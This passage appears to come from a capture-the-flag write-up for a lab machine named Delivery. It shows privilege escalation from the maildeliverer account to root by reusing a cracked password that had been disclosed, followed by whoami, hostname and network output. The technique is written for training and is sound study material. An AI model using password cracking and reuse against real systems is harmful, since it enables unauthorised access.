Privilege Escalation


Due to the information disclosure regarding the password of the root user, I was able to crack the password hash I will test for password reuse here

maildeliverer@delivery:/opt/mattermost/config$ su root
password: 
root@delivery:/opt/mattermost/config# whoami
root
root@delivery:/opt/mattermost/config# hostname
Delivery
root@delivery:/opt/mattermost/config# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:3d:c4 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.222/24 brd 10.10.10.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:3dc4/64 scope global dynamic mngtmpaddr 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:3dc4/64 scope link 
       valid_lft forever preferred_lft forever

Password reuse confirmed System Level Compromise